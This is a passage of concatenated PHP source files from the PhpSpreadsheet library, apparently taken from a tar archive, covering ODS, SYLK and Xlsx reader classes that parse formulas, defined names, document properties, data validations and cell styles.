Cell reference in another sheet '/\[\.([^\.]+):\.([^\.]+)\]/miu', // Cell range reference '/\[\.([^\.]+)\]/miu', // Simple cell reference ], [ '$1!$2:$3', '$1!$2', '$1:$2', '$1', ], $value ); // Convert references to defined names/formulae $value = str_replace('$$', '', $value); // Convert ODS function argument separators to Excel function argument separators $value = Calculation::translateSeparator(';', ',', $value, $inFunctionBracesLevel); // Convert ODS matrix separators to Excel matrix separators $value = Calculation::translateSeparator( ';', ',', $value, $inMatrixBracesLevel, Calculation::FORMULA_OPEN_MATRIX_BRACE, Calculation::FORMULA_CLOSE_MATRIX_BRACE ); $value = Calculation::translateSeparator( '|', ';', $value, $inMatrixBracesLevel, Calculation::FORMULA_OPEN_MATRIX_BRACE, Calculation::FORMULA_CLOSE_MATRIX_BRACE ); $value = (string) preg_replace('/COM\.MICROSOFT\./ui', '', $value); } } // Then rebuild the formula string $excelFormula = implode('"', $temp); return $excelFormula; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Ods/DefinedNames.php000064400000005612151676714400022235 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Ods; use DOMElement; use PhpOffice\PhpSpreadsheet\DefinedName; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class DefinedNames extends BaseLoader { public function read(DOMElement $workbookData): void { $this->readDefinedRanges($workbookData); $this->readDefinedExpressions($workbookData); } /** * Read any Named Ranges that are defined in this spreadsheet. */ protected function readDefinedRanges(DOMElement $workbookData): void { $namedRanges = $workbookData->getElementsByTagNameNS($this->tableNs, 'named-range'); foreach ($namedRanges as $definedNameElement) { $definedName = $definedNameElement->getAttributeNS($this->tableNs, 'name'); $baseAddress = $definedNameElement->getAttributeNS($this->tableNs, 'base-cell-address'); $range = $definedNameElement->getAttributeNS($this->tableNs, 'cell-range-address'); /** @var non-empty-string $baseAddress */ $baseAddress = FormulaTranslator::convertToExcelAddressValue($baseAddress); $range = FormulaTranslator::convertToExcelAddressValue($range); $this->addDefinedName($baseAddress, $definedName, $range); } } /** * Read any Named Formulae that are defined in this spreadsheet. */ protected function readDefinedExpressions(DOMElement $workbookData): void { $namedExpressions = $workbookData->getElementsByTagNameNS($this->tableNs, 'named-expression'); foreach ($namedExpressions as $definedNameElement) { $definedName = $definedNameElement->getAttributeNS($this->tableNs, 'name'); $baseAddress = $definedNameElement->getAttributeNS($this->tableNs, 'base-cell-address'); $expression = $definedNameElement->getAttributeNS($this->tableNs, 'expression'); /** @var non-empty-string $baseAddress */ $baseAddress = FormulaTranslator::convertToExcelAddressValue($baseAddress); $expression = substr($expression, strpos($expression, ':=') + 1); $expression = FormulaTranslator::convertToExcelFormulaValue($expression); $this->addDefinedName($baseAddress, $definedName, $expression); } } /** * Assess scope and store the Defined Name. * * @param non-empty-string $baseAddress */ private function addDefinedName(string $baseAddress, string $definedName, string $value): void { [$sheetReference] = Worksheet::extractSheetTitle($baseAddress, true); $worksheet = $this->spreadsheet->getSheetByName($sheetReference); // Worksheet might still be null if we're only loading selected sheets rather than the full spreadsheet if ($worksheet !== null) { $this->spreadsheet->addDefinedName(DefinedName::createInstance((string) $definedName, $worksheet, $value)); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Ods/BaseLoader.php000064400000000702151676714400021707 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Ods; use DOMElement; use PhpOffice\PhpSpreadsheet\Spreadsheet; abstract class BaseLoader { protected Spreadsheet $spreadsheet; protected string $tableNs; public function __construct(Spreadsheet $spreadsheet, string $tableNs) { $this->spreadsheet = $spreadsheet; $this->tableNs = $tableNs; } abstract public function read(DOMElement $workbookData): void; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Slk.php000064400000050631151676714400017720 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Reader\Exception as ReaderException; use PhpOffice\PhpSpreadsheet\ReferenceHelper; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Style\Border; use PhpOffice\PhpSpreadsheet\Style\Fill; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class Slk extends BaseReader { /** * Sheet index to read. */ private int $sheetIndex = 0; /** * Formats. */ private array $formats = []; /** * Format Count. */ private int $format = 0; /** * Fonts. */ private array $fonts = []; /** * Font Count. */ private int $fontcount = 0; /** * Create a new SYLK Reader instance. */ public function __construct() { parent::__construct(); } /** * Validate that the current file is a SYLK file. */ public function canRead(string $filename): bool { try { $this->openFile($filename); } catch (ReaderException) { return false; } // Read sample data (first 2 KB will do) $data = (string) fread($this->fileHandle, 2048); // Count delimiters in file $delimiterCount = substr_count($data, ';'); $hasDelimiter = $delimiterCount > 0; // Analyze first line looking for ID; signature $lines = explode("\n", $data); $hasId = str_starts_with($lines[0], 'ID;P'); fclose($this->fileHandle); return $hasDelimiter && $hasId; } private function canReadOrBust(string $filename): void { if (!$this->canRead($filename)) { throw new ReaderException($filename . ' is an Invalid SYLK file.'); } $this->openFile($filename); } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns). */ public function listWorksheetInfo(string $filename): array { // Open file $this->canReadOrBust($filename); $fileHandle = $this->fileHandle; rewind($fileHandle); $worksheetInfo = []; $worksheetInfo[0]['worksheetName'] = basename($filename, '.slk'); // loop through one row (line) at a time in the file $rowIndex = 0; $columnIndex = 0; while (($rowData = fgets($fileHandle)) !== false) { $columnIndex = 0; // convert SYLK encoded $rowData to UTF-8 $rowData = StringHelper::SYLKtoUTF8($rowData); // explode each row at semicolons while taking into account that literal semicolon (;) // is escaped like this (;;) $rowData = explode("\t", str_replace('¤', ';', str_replace(';', "\t", str_replace(';;', '¤', rtrim($rowData))))); $dataType = array_shift($rowData); if ($dataType == 'B') { foreach ($rowData as $rowDatum) { switch ($rowDatum[0]) { case 'X': $columnIndex = (int) substr($rowDatum, 1) - 1; break; case 'Y': $rowIndex = (int) substr($rowDatum, 1); break; } } break; } } $worksheetInfo[0]['lastColumnIndex'] = $columnIndex; $worksheetInfo[0]['totalRows'] = $rowIndex; $worksheetInfo[0]['lastColumnLetter'] = Coordinate::stringFromColumnIndex($worksheetInfo[0]['lastColumnIndex'] + 1); $worksheetInfo[0]['totalColumns'] = $worksheetInfo[0]['lastColumnIndex'] + 1; // Close file fclose($fileHandle); return $worksheetInfo; } /** * Loads PhpSpreadsheet from file. */ protected function loadSpreadsheetFromFile(string $filename): Spreadsheet { // Create new Spreadsheet $spreadsheet = new Spreadsheet(); // Load into this instance return $this->loadIntoExisting($filename, $spreadsheet); } private const COLOR_ARRAY = [ 'FF00FFFF', // 0 - cyan 'FF000000', // 1 - black 'FFFFFFFF', // 2 - white 'FFFF0000', // 3 - red 'FF00FF00', // 4 - green 'FF0000FF', // 5 - blue 'FFFFFF00', // 6 - yellow 'FFFF00FF', // 7 - magenta ]; private const FONT_STYLE_MAPPINGS = [ 'B' => 'bold', 'I' => 'italic', 'U' => 'underline', ]; private function processFormula(string $rowDatum, bool &$hasCalculatedValue, string &$cellDataFormula, string $row, string $column): void { $cellDataFormula = '=' . substr($rowDatum, 1); // Convert R1C1 style references to A1 style references (but only when not quoted) $temp = explode('"', $cellDataFormula); $key = false; foreach ($temp as &$value) { // Only count/replace in alternate array entries $key = $key === false; if ($key) { preg_match_all('/(R(\[?-?\d*\]?))(C(\[?-?\d*\]?))/', $value, $cellReferences, PREG_SET_ORDER + PREG_OFFSET_CAPTURE); // Reverse the matches array, otherwise all our offsets will become incorrect if we modify our way // through the formula from left to right. Reversing means that we work right to left.through // the formula $cellReferences = array_reverse($cellReferences); // Loop through each R1C1 style reference in turn, converting it to its A1 style equivalent, // then modify the formula to use that new reference foreach ($cellReferences as $cellReference) { $rowReference = $cellReference[2][0]; // Empty R reference is the current row if ($rowReference == '') { $rowReference = $row; } // Bracketed R references are relative to the current row if ($rowReference[0] == '[') { $rowReference = (int) $row + (int) trim($rowReference, '[]'); } $columnReference = $cellReference[4][0]; // Empty C reference is the current column if ($columnReference == '') { $columnReference = $column; } // Bracketed C references are relative to the current column if ($columnReference[0] == '[') { $columnReference = (int) $column + (int) trim($columnReference, '[]'); } $A1CellReference = Coordinate::stringFromColumnIndex((int) $columnReference) . $rowReference; $value = substr_replace($value, $A1CellReference, $cellReference[0][1], strlen($cellReference[0][0])); } } } unset($value); // Then rebuild the formula string $cellDataFormula = implode('"', $temp); $hasCalculatedValue = true; } private function processCRecord(array $rowData, Spreadsheet &$spreadsheet, string &$row, string &$column): void { // Read cell value data $hasCalculatedValue = false; $tryNumeric = false; $cellDataFormula = $cellData = ''; $sharedColumn = $sharedRow = -1; $sharedFormula = false; foreach ($rowData as $rowDatum) { switch ($rowDatum[0]) { case 'X': $column = substr($rowDatum, 1); break; case 'Y': $row = substr($rowDatum, 1); break; case 'K': $cellData = substr($rowDatum, 1); $tryNumeric = is_numeric($cellData); break; case 'E': $this->processFormula($rowDatum, $hasCalculatedValue, $cellDataFormula, $row, $column); break; case 'A': $comment = substr($rowDatum, 1); $columnLetter = Coordinate::stringFromColumnIndex((int) $column); $spreadsheet->getActiveSheet() ->getComment("$columnLetter$row") ->getText() ->createText($comment); break; case 'C': $sharedColumn = (int) substr($rowDatum, 1); break; case 'R': $sharedRow = (int) substr($rowDatum, 1); break; case 'S': $sharedFormula = true; break; } } if ($sharedFormula === true && $sharedRow >= 0 && $sharedColumn >= 0) { $thisCoordinate = Coordinate::stringFromColumnIndex((int) $column) . $row; $sharedCoordinate = Coordinate::stringFromColumnIndex($sharedColumn) . $sharedRow; $formula = $spreadsheet->getActiveSheet()->getCell($sharedCoordinate)->getValue(); $spreadsheet->getActiveSheet()->getCell($thisCoordinate)->setValue($formula); $referenceHelper = ReferenceHelper::getInstance(); $newFormula = $referenceHelper->updateFormulaReferences($formula, 'A1', (int) $column - $sharedColumn, (int) $row - $sharedRow, '', true, false); $spreadsheet->getActiveSheet()->getCell($thisCoordinate)->setValue($newFormula); //$calc = $spreadsheet->getActiveSheet()->getCell($thisCoordinate)->getCalculatedValue(); //$spreadsheet->getActiveSheet()->getCell($thisCoordinate)->setCalculatedValue($calc); $cellData = Calculation::unwrapResult($cellData); $spreadsheet->getActiveSheet()->getCell($thisCoordinate)->setCalculatedValue($cellData, $tryNumeric); return; } $columnLetter = Coordinate::stringFromColumnIndex((int) $column); $cellData = Calculation::unwrapResult($cellData); // Set cell value $this->processCFinal($spreadsheet, $hasCalculatedValue, $cellDataFormula, $cellData, "$columnLetter$row", $tryNumeric); } private function processCFinal(Spreadsheet &$spreadsheet, bool $hasCalculatedValue, string $cellDataFormula, string $cellData, string $coordinate, bool $tryNumeric): void { // Set cell value $spreadsheet->getActiveSheet()->getCell($coordinate)->setValue(($hasCalculatedValue) ? $cellDataFormula : $cellData); if ($hasCalculatedValue) { $cellData = Calculation::unwrapResult($cellData); $spreadsheet->getActiveSheet()->getCell($coordinate)->setCalculatedValue($cellData, $tryNumeric); } } private function processFRecord(array $rowData, Spreadsheet &$spreadsheet, string &$row, string &$column): void { // Read cell formatting $formatStyle = $columnWidth = ''; $startCol = $endCol = ''; $fontStyle = ''; $styleData = []; foreach ($rowData as $rowDatum) { switch ($rowDatum[0]) { case 'C': case 'X': $column = substr($rowDatum, 1); break; case 'R': case 'Y': $row = substr($rowDatum, 1); break; case 'P': $formatStyle = $rowDatum; break; case 'W': [$startCol, $endCol, $columnWidth] = explode(' ', substr($rowDatum, 1)); break; case 'S': $this->styleSettings($rowDatum, $styleData, $fontStyle); break; } } $this->addFormats($spreadsheet, $formatStyle, $row, $column); $this->addFonts($spreadsheet, $fontStyle, $row, $column); $this->addStyle($spreadsheet, $styleData, $row, $column); $this->addWidth($spreadsheet, $columnWidth, $startCol, $endCol); } private const STYLE_SETTINGS_FONT = ['D' => 'bold', 'I' => 'italic']; private const STYLE_SETTINGS_BORDER = [ 'B' => 'bottom', 'L' => 'left', 'R' => 'right', 'T' => 'top', ]; private function styleSettings(string $rowDatum, array &$styleData, string &$fontStyle): void { $styleSettings = substr($rowDatum, 1); $iMax = strlen($styleSettings); for ($i = 0; $i < $iMax; ++$i) { $char = $styleSettings[$i]; if (array_key_exists($char, self::STYLE_SETTINGS_FONT)) { $styleData['font'][self::STYLE_SETTINGS_FONT[$char]] = true; } elseif (array_key_exists($char, self::STYLE_SETTINGS_BORDER)) { $styleData['borders'][self::STYLE_SETTINGS_BORDER[$char]]['borderStyle'] = Border::BORDER_THIN; } elseif ($char == 'S') { $styleData['fill']['fillType'] = Fill::FILL_PATTERN_GRAY125; } elseif ($char == 'M') { if (preg_match('/M([1-9]\\d*)/', $styleSettings, $matches)) { $fontStyle = $matches[1]; } } } } private function addFormats(Spreadsheet &$spreadsheet, string $formatStyle, string $row, string $column): void { if ($formatStyle && $column > '' && $row > '') { $columnLetter = Coordinate::stringFromColumnIndex((int) $column); if (isset($this->formats[$formatStyle])) { $spreadsheet->getActiveSheet()->getStyle($columnLetter . $row)->applyFromArray($this->formats[$formatStyle]); } } } private function addFonts(Spreadsheet &$spreadsheet, string $fontStyle, string $row, string $column): void { if ($fontStyle && $column > '' && $row > '') { $columnLetter = Coordinate::stringFromColumnIndex((int) $column); if (isset($this->fonts[$fontStyle])) { $spreadsheet->getActiveSheet()->getStyle($columnLetter . $row)->applyFromArray($this->fonts[$fontStyle]); } } } private function addStyle(Spreadsheet &$spreadsheet, array $styleData, string $row, string $column): void { if ((!empty($styleData)) && $column > '' && $row > '') { $columnLetter = Coordinate::stringFromColumnIndex((int) $column); $spreadsheet->getActiveSheet()->getStyle($columnLetter . $row)->applyFromArray($styleData); } } private function addWidth(Spreadsheet $spreadsheet, string $columnWidth, string $startCol, string $endCol): void { if ($columnWidth > '') { if ($startCol == $endCol) { $startCol = Coordinate::stringFromColumnIndex((int) $startCol); $spreadsheet->getActiveSheet()->getColumnDimension($startCol)->setWidth((float) $columnWidth); } else { $startCol = Coordinate::stringFromColumnIndex((int) $startCol); $endCol = Coordinate::stringFromColumnIndex((int) $endCol); $spreadsheet->getActiveSheet()->getColumnDimension($startCol)->setWidth((float) $columnWidth); do { $spreadsheet->getActiveSheet()->getColumnDimension((string) ++$startCol)->setWidth((float) $columnWidth); } while ($startCol !== $endCol); } } } private function processPRecord(array $rowData, Spreadsheet &$spreadsheet): void { // Read shared styles $formatArray = []; $fromFormats = ['\-', '\ ']; $toFormats = ['-', ' ']; foreach ($rowData as $rowDatum) { switch ($rowDatum[0]) { case 'P': $formatArray['numberFormat']['formatCode'] = str_replace($fromFormats, $toFormats, substr($rowDatum, 1)); break; case 'E': case 'F': $formatArray['font']['name'] = substr($rowDatum, 1); break; case 'M': $formatArray['font']['size'] = ((float) substr($rowDatum, 1)) / 20; break; case 'L': $this->processPColors($rowDatum, $formatArray); break; case 'S': $this->processPFontStyles($rowDatum, $formatArray); break; } } $this->processPFinal($spreadsheet, $formatArray); } private function processPColors(string $rowDatum, array &$formatArray): void { if (preg_match('/L([1-9]\\d*)/', $rowDatum, $matches)) { $fontColor = $matches[1] % 8; $formatArray['font']['color']['argb'] = self::COLOR_ARRAY[$fontColor]; } } private function processPFontStyles(string $rowDatum, array &$formatArray): void { $styleSettings = substr($rowDatum, 1); $iMax = strlen($styleSettings); for ($i = 0; $i < $iMax; ++$i) { if (array_key_exists($styleSettings[$i], self::FONT_STYLE_MAPPINGS)) { $formatArray['font'][self::FONT_STYLE_MAPPINGS[$styleSettings[$i]]] = true; } } } private function processPFinal(Spreadsheet &$spreadsheet, array $formatArray): void { if (array_key_exists('numberFormat', $formatArray)) { $this->formats['P' . $this->format] = $formatArray; ++$this->format; } elseif (array_key_exists('font', $formatArray)) { ++$this->fontcount; $this->fonts[$this->fontcount] = $formatArray; if ($this->fontcount === 1) { $spreadsheet->getDefaultStyle()->applyFromArray($formatArray); } } } /** * Loads PhpSpreadsheet from file into PhpSpreadsheet instance. */ public function loadIntoExisting(string $filename, Spreadsheet $spreadsheet): Spreadsheet { // Open file $this->canReadOrBust($filename); $fileHandle = $this->fileHandle; rewind($fileHandle); // Create new Worksheets while ($spreadsheet->getSheetCount() <= $this->sheetIndex) { $spreadsheet->createSheet(); } $spreadsheet->setActiveSheetIndex($this->sheetIndex); $spreadsheet->getActiveSheet()->setTitle(substr(basename($filename, '.slk'), 0, Worksheet::SHEET_TITLE_MAXIMUM_LENGTH)); // Loop through file $column = $row = ''; // loop through one row (line) at a time in the file while (($rowDataTxt = fgets($fileHandle)) !== false) { // convert SYLK encoded $rowData to UTF-8 $rowDataTxt = StringHelper::SYLKtoUTF8($rowDataTxt); // explode each row at semicolons while taking into account that literal semicolon (;) // is escaped like this (;;) $rowData = explode("\t", str_replace('¤', ';', str_replace(';', "\t", str_replace(';;', '¤', rtrim($rowDataTxt))))); $dataType = array_shift($rowData); if ($dataType == 'P') { // Read shared styles $this->processPRecord($rowData, $spreadsheet); } elseif ($dataType == 'C') { // Read cell value data $this->processCRecord($rowData, $spreadsheet, $row, $column); } elseif ($dataType == 'F') { // Read cell formatting $this->processFRecord($rowData, $spreadsheet, $row, $column); } else { $this->columnRowFromRowData($rowData, $column, $row); } } // Close file fclose($fileHandle); // Return return $spreadsheet; } private function columnRowFromRowData(array $rowData, string &$column, string &$row): void { foreach ($rowData as $rowDatum) { $char0 = $rowDatum[0]; if ($char0 === 'X' || $char0 == 'C') { $column = substr($rowDatum, 1); } elseif ($char0 === 'Y' || $char0 == 'R') { $row = substr($rowDatum, 1); } } } /** * Get sheet index. */ public function getSheetIndex(): int { return $this->sheetIndex; } /** * Set sheet index. * * @param int $sheetIndex Sheet index * * @return $this */ public function setSheetIndex(int $sheetIndex): static { $this->sheetIndex = $sheetIndex; return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/BaseReader.php000064400000014206151676714400021162 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use PhpOffice\PhpSpreadsheet\Reader\Exception as ReaderException; use PhpOffice\PhpSpreadsheet\Reader\Security\XmlScanner; use PhpOffice\PhpSpreadsheet\Shared\File; use PhpOffice\PhpSpreadsheet\Spreadsheet; abstract class BaseReader implements IReader { /** * Read data only? * Identifies whether the Reader should only read data values for cells, and ignore any formatting information; * or whether it should read both data and formatting. */ protected bool $readDataOnly = false; /** * Read empty cells? * Identifies whether the Reader should read data values for cells all cells, or should ignore cells containing * null value or empty string. */ protected bool $readEmptyCells = true; /** * Read charts that are defined in the workbook? * Identifies whether the Reader should read the definitions for any charts that exist in the workbook;. */ protected bool $includeCharts = false; /** * Restrict which sheets should be loaded? * This property holds an array of worksheet names to be loaded. If null, then all worksheets will be loaded. * This property is ignored for Csv, Html, and Slk. * * @var null|string[] */ protected ?array $loadSheetsOnly = null; /** * IReadFilter instance. */ protected IReadFilter $readFilter; /** @var resource */ protected $fileHandle; protected ?XmlScanner $securityScanner = null; public function __construct() { $this->readFilter = new DefaultReadFilter(); } public function getReadDataOnly(): bool { return $this->readDataOnly; } public function setReadDataOnly(bool $readCellValuesOnly): self { $this->readDataOnly = $readCellValuesOnly; return $this; } public function getReadEmptyCells(): bool { return $this->readEmptyCells; } public function setReadEmptyCells(bool $readEmptyCells): self { $this->readEmptyCells = $readEmptyCells; return $this; } public function getIncludeCharts(): bool { return $this->includeCharts; } public function setIncludeCharts(bool $includeCharts): self { $this->includeCharts = $includeCharts; return $this; } public function getLoadSheetsOnly(): ?array { return $this->loadSheetsOnly; } public function setLoadSheetsOnly(string|array|null $sheetList): self { if ($sheetList === null) { return $this->setLoadAllSheets(); } $this->loadSheetsOnly = is_array($sheetList) ? $sheetList : [$sheetList]; return $this; } public function setLoadAllSheets(): self { $this->loadSheetsOnly = null; return $this; } public function getReadFilter(): IReadFilter { return $this->readFilter; } public function setReadFilter(IReadFilter $readFilter): self { $this->readFilter = $readFilter; return $this; } public function getSecurityScanner(): ?XmlScanner { return $this->securityScanner; } public function getSecurityScannerOrThrow(): XmlScanner { if ($this->securityScanner === null) { throw new ReaderException('Security scanner is unexpectedly null'); } return $this->securityScanner; } protected function processFlags(int $flags): void { if (((bool) ($flags & self::LOAD_WITH_CHARTS)) === true) { $this->setIncludeCharts(true); } if (((bool) ($flags & self::READ_DATA_ONLY)) === true) { $this->setReadDataOnly(true); } if (((bool) ($flags & self::SKIP_EMPTY_CELLS) || (bool) ($flags & self::IGNORE_EMPTY_CELLS)) === true) { $this->setReadEmptyCells(false); } } protected function loadSpreadsheetFromFile(string $filename): Spreadsheet { throw new PhpSpreadsheetException('Reader classes must implement their own loadSpreadsheetFromFile() method'); } /** * Loads Spreadsheet from file. * * @param int $flags the optional second parameter flags may be used to identify specific elements * that should be loaded, but which won't be loaded by default, using these values: * IReader::LOAD_WITH_CHARTS - Include any charts that are defined in the loaded file */ public function load(string $filename, int $flags = 0): Spreadsheet { $this->processFlags($flags); try { return $this->loadSpreadsheetFromFile($filename); } catch (ReaderException $e) { throw $e; } } /** * Open file for reading. */ protected function openFile(string $filename): void { $fileHandle = false; if ($filename) { File::assertFile($filename); // Open file $fileHandle = fopen($filename, 'rb'); } if ($fileHandle === false) { throw new ReaderException('Could not open file ' . $filename . ' for reading.'); } $this->fileHandle = $fileHandle; } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns). */ public function listWorksheetInfo(string $filename): array { throw new PhpSpreadsheetException('Reader classes must implement their own listWorksheetInfo() method'); } /** * Returns names of the worksheets from a file, * possibly without parsing the whole file to a Spreadsheet object. * Readers will often have a more efficient method with which * they can override this method. */ public function listWorksheetNames(string $filename): array { $returnArray = []; $info = $this->listWorksheetInfo($filename); foreach ($info as $infoArray) { if (isset($infoArray['worksheetName'])) { $returnArray[] = $infoArray['worksheetName']; } } return $returnArray; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/IReadFilter.php000064400000000635151676714400021320 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader; interface IReadFilter { /** * Should this cell be read? * * @param string $columnAddress Column address (as a string value like "A", or "IV") * @param int $row Row number * @param string $worksheetName Optional worksheet name */ public function readCell(string $columnAddress, int $row, string $worksheetName = ''): bool; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/Properties.php000064400000010145151676714400022255 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Document\Properties as DocumentProperties; use PhpOffice\PhpSpreadsheet\Reader\Security\XmlScanner; use PhpOffice\PhpSpreadsheet\Settings; use SimpleXMLElement; class Properties { private XmlScanner $securityScanner; private DocumentProperties $docProps; public function __construct(XmlScanner $securityScanner, DocumentProperties $docProps) { $this->securityScanner = $securityScanner; $this->docProps = $docProps; } private function extractPropertyData(string $propertyData): ?SimpleXMLElement { // okay to omit namespace because everything will be processed by xpath $obj = simplexml_load_string( $this->securityScanner->scan($propertyData), 'SimpleXMLElement', Settings::getLibXmlLoaderOptions() ); return $obj === false ? null : $obj; } public function readCoreProperties(string $propertyData): void { $xmlCore = $this->extractPropertyData($propertyData); if (is_object($xmlCore)) { $xmlCore->registerXPathNamespace('dc', Namespaces::DC_ELEMENTS); $xmlCore->registerXPathNamespace('dcterms', Namespaces::DC_TERMS); $xmlCore->registerXPathNamespace('cp', Namespaces::CORE_PROPERTIES2); $this->docProps->setCreator($this->getArrayItem($xmlCore->xpath('dc:creator'))); $this->docProps->setLastModifiedBy($this->getArrayItem($xmlCore->xpath('cp:lastModifiedBy'))); $this->docProps->setCreated($this->getArrayItem($xmlCore->xpath('dcterms:created'))); //! respect xsi:type $this->docProps->setModified($this->getArrayItem($xmlCore->xpath('dcterms:modified'))); //! respect xsi:type $this->docProps->setTitle($this->getArrayItem($xmlCore->xpath('dc:title'))); $this->docProps->setDescription($this->getArrayItem($xmlCore->xpath('dc:description'))); $this->docProps->setSubject($this->getArrayItem($xmlCore->xpath('dc:subject'))); $this->docProps->setKeywords($this->getArrayItem($xmlCore->xpath('cp:keywords'))); $this->docProps->setCategory($this->getArrayItem($xmlCore->xpath('cp:category'))); } } public function readExtendedProperties(string $propertyData): void { $xmlCore = $this->extractPropertyData($propertyData); if (is_object($xmlCore)) { if (isset($xmlCore->Company)) { $this->docProps->setCompany((string) $xmlCore->Company); } if (isset($xmlCore->Manager)) { $this->docProps->setManager((string) $xmlCore->Manager); } if (isset($xmlCore->HyperlinkBase)) { $this->docProps->setHyperlinkBase((string) $xmlCore->HyperlinkBase); } } } public function readCustomProperties(string $propertyData): void { $xmlCore = $this->extractPropertyData($propertyData); if (is_object($xmlCore)) { foreach ($xmlCore as $xmlProperty) { /** @var SimpleXMLElement $xmlProperty */ $cellDataOfficeAttributes = $xmlProperty->attributes(); if (isset($cellDataOfficeAttributes['name'])) { $propertyName = (string) $cellDataOfficeAttributes['name']; $cellDataOfficeChildren = $xmlProperty->children('http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes'); $attributeType = $cellDataOfficeChildren->getName(); $attributeValue = (string) $cellDataOfficeChildren->{$attributeType}; $attributeValue = DocumentProperties::convertProperty($attributeValue, $attributeType); $attributeType = DocumentProperties::convertPropertyType($attributeType); $this->docProps->setCustomProperty($propertyName, $attributeValue, $attributeType); } } } } private function getArrayItem(null|array|false $array): string { return is_array($array) ? (string) ($array[0] ?? '') : ''; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/DataValidations.php000064400000006203151676714400023170 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use SimpleXMLElement; class DataValidations { private Worksheet $worksheet; private SimpleXMLElement $worksheetXml; public function __construct(Worksheet $workSheet, SimpleXMLElement $worksheetXml) { $this->worksheet = $workSheet; $this->worksheetXml = $worksheetXml; } public function load(): void { foreach ($this->worksheetXml->dataValidations->dataValidation as $dataValidation) { // Uppercase coordinate $range = strtoupper((string) $dataValidation['sqref']); $rangeSet = explode(' ', $range); foreach ($rangeSet as $range) { if (preg_match('/^[A-Z]{1,3}\\d{1,7}/', $range, $matches) === 1) { // Ensure left/top row of range exists, thereby // adjusting high row/column. $this->worksheet->getCell($matches[0]); } } } foreach ($this->worksheetXml->dataValidations->dataValidation as $dataValidation) { // Uppercase coordinate $range = strtoupper((string) $dataValidation['sqref']); $rangeSet = explode(' ', $range); foreach ($rangeSet as $range) { $stRange = $this->worksheet->shrinkRangeToFit($range); // Extract all cell references in $range foreach (Coordinate::extractAllCellReferencesInRange($stRange) as $reference) { // Create validation $docValidation = $this->worksheet->getCell($reference)->getDataValidation(); $docValidation->setType((string) $dataValidation['type']); $docValidation->setErrorStyle((string) $dataValidation['errorStyle']); $docValidation->setOperator((string) $dataValidation['operator']); $docValidation->setAllowBlank(filter_var($dataValidation['allowBlank'], FILTER_VALIDATE_BOOLEAN)); // showDropDown is inverted (works as hideDropDown if true) $docValidation->setShowDropDown(!filter_var($dataValidation['showDropDown'], FILTER_VALIDATE_BOOLEAN)); $docValidation->setShowInputMessage(filter_var($dataValidation['showInputMessage'], FILTER_VALIDATE_BOOLEAN)); $docValidation->setShowErrorMessage(filter_var($dataValidation['showErrorMessage'], FILTER_VALIDATE_BOOLEAN)); $docValidation->setErrorTitle((string) $dataValidation['errorTitle']); $docValidation->setError((string) $dataValidation['error']); $docValidation->setPromptTitle((string) $dataValidation['promptTitle']); $docValidation->setPrompt((string) $dataValidation['prompt']); $docValidation->setFormula1((string) $dataValidation->formula1); $docValidation->setFormula2((string) $dataValidation->formula2); $docValidation->setSqref($range); } } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/Styles.php000064400000037132151676714400021411 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Style\Alignment; use PhpOffice\PhpSpreadsheet\Style\Border; use PhpOffice\PhpSpreadsheet\Style\Borders; use PhpOffice\PhpSpreadsheet\Style\Color; use PhpOffice\PhpSpreadsheet\Style\Fill; use PhpOffice\PhpSpreadsheet\Style\Font; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PhpOffice\PhpSpreadsheet\Style\Protection; use PhpOffice\PhpSpreadsheet\Style\Style; use SimpleXMLElement; use stdClass; class Styles extends BaseParserClass { /** * Theme instance. * * @var ?Theme */ private ?Theme $theme = null; private array $workbookPalette = []; private array $styles = []; private array $cellStyles = []; private SimpleXMLElement $styleXml; private string $namespace = ''; public function setNamespace(string $namespace): void { $this->namespace = $namespace; } public function setWorkbookPalette(array $palette): void { $this->workbookPalette = $palette; } private function getStyleAttributes(SimpleXMLElement $value): SimpleXMLElement { $attr = $value->attributes(''); if ($attr === null || count($attr) === 0) { $attr = $value->attributes($this->namespace); } return Xlsx::testSimpleXml($attr); } public function setStyleXml(SimpleXMLElement $styleXml): void { $this->styleXml = $styleXml; } public function setTheme(Theme $theme): void { $this->theme = $theme; } public function setStyleBaseData(?Theme $theme = null, array $styles = [], array $cellStyles = []): void { $this->theme = $theme; $this->styles = $styles; $this->cellStyles = $cellStyles; } public function readFontStyle(Font $fontStyle, SimpleXMLElement $fontStyleXml): void { if (isset($fontStyleXml->name)) { $attr = $this->getStyleAttributes($fontStyleXml->name); if (isset($attr['val'])) { $fontStyle->setName((string) $attr['val']); } } if (isset($fontStyleXml->sz)) { $attr = $this->getStyleAttributes($fontStyleXml->sz); if 